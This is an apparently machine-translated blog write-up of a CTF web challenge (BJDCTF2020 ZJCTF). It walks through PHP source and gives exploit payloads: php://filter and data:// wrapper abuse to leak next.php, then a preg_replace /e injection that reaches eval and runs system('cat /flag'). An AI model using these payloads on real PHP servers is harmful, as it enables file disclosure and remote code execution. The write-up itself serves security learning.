当前位置:网站首页>Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
Buuctf-[bjdctf2020]zjctf, but so (xiaoyute detailed explanation)
2022-07-06 06:00:00 【Xiaoyute detailed explanation】
buuctf-[BJDCTF2020]ZJCTF, nothing more than this ( Xiaoyute detailed explanation )
Open questions :
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
By analyzing the code ,get Pass in two parameters text and file,text Parameter utilization file_get_contents() The function opens as read-only , After opening, the content should be consistent with "I have a dream" String matches , To execute the following file contains $file Parameters .
See with file_get_contents() Function on text Parameters , And the following files contain functions , Naturally think of php In pseudo protocol data:// For agreement filter Read the agreement next.php Source code
payload:
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
Here we use base64 decode
Here is preg_replace/e Code execution problem in mode
from https://xz.aliyun.com/t/2557 Learning related issues
I won't go into details here
It's used here \S*=${}
structure payload
next.php?\S*=${
getFlag()}&cmd=system('cat /flag');

边栏推荐
- [web security] nodejs prototype chain pollution analysis
- Title 1093: character reverse order
- HCIA review
- Clear floating mode
- Station B, Master Liu Er - back propagation
- Classes and objects (I) detailed explanation of this pointer
- 养了只小猫咪
- Sqlmap tutorial (III) practical skills II
- H3C S5820V2_ Upgrade method after stacking IRF2 of 5830v2 switch
- Station B Liu Erden softmx classifier and MNIST implementation -structure 9
猜你喜欢
[email protected] raspberry pie"/>[email protected] raspberry pie

局域网同一个网段通信过程

Investment strategy discussion and market scale prediction report of China's solid state high power amplifier industry from 2022 to 2028

B站刘二大人-线性回归及梯度下降

Embedded interview questions (IV. common algorithms)

ContentType的作用

华为路由器如何配置静态路由
[SQL Server fast track] - authentication and establishment and management of user accounts

H3C防火墙RBM+VRRP 组网配置

Analysis of grammar elements in turtle Library
随机推荐
Embedded interview questions (IV. common algorithms)
Redistemplate common collection instructions opsforvalue (II)
多线程应用的测试与调试
数学三大核心领域概述:代数
HCIA review
A complete collection of necessary learning websites for office programmers
[email protected]树莓派
A master in the field of software architecture -- Reading Notes of the beauty of Architecture
[course notes] Compilation Principle
【论文阅读】NFlowJS:基于鲁棒学习的合成负数据密集异常检测
Mysql database master-slave cluster construction
Implementation of linked list in address book management system
H3C V7版本交换机配置IRF
Usage of test macro of GTEST
Yygh-11-timing statistics
入侵检测领域数据集总结
公司視頻加速播放
功能安全之故障(fault),错误(error),失效(failure)
H3C S5820V2_5830V2交换机IRF2堆叠后升级方法
LTE CSFB process